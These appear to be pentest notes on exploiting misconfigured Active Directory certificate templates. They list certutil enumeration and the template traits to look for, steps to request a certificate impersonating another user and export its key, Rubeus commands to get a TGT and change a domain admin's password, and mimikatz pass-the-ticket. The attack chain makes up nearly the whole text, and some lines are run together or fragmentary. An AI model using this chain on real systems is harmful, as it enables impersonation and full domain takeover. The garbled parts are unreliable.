User authentication
Certificates will not be revoked after account password reset
certutil -v -template > ct.txt
Exploitable templates should have the following traits:
* Allow Enroll or Allow Full Control permissions to request certificate
* Find groups by net user <username> /domain --> Domain Users, Domain Computers
* Client authentication EKU for Kerberos authentication --> Client Authentication
* Permission to subject alternative name (SAN), e.g. URL to encrypt. Used to create Kerberos ticket, --> CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
Win+R --> mmc --> File --> Add/Remove Snap-in --> Certificates (Request Certificate if administration account --> Computer Account)Certificates --> right click on Personal --> All Tasks --> Request Certificates --> Next --> Next --> More information is required to enroll this certificate --> Common Name --> CN=concerto && User Principal Name is the user to impersonate --> OK --> select User Request --> EnrollPersonal --> Certificates --> The certificateAll Tasks --> Export --> Yes, export private key --> PFX --> set Password --> SaveGrab TGT
On the machine via
Rubeus.exe asktgt /user:<user (UPN) of cert> /enctype:aes256 /certificate:<path to certificate> /password:<certificate file password> /outfile:<name of file to write TGT to.kirbi> /domain:<domain name> /dc:<IP of domain controller>
Active Directory Users and Computers.\Rubeus.exe changepw /ticket:<ticketfilename> /new:<new password> /dc:<domain of controller> /targetuser:<domain>\<dauser>
runas /user:<domain>\<username of DA> cmd.exe
Alternatively, load the outfile of rubeus via mimikatz to authenticate as the impersonated user on a remote domain
privilege::debug
kerberos::ptt <name of file to write TGT to.kirbi>
exit
dir \\<domain>\<dir>$\
SAN. Set it to someone with higher permissionsSAN, this template can not be modified in a way to escalate privilegesSAN
Social_engineering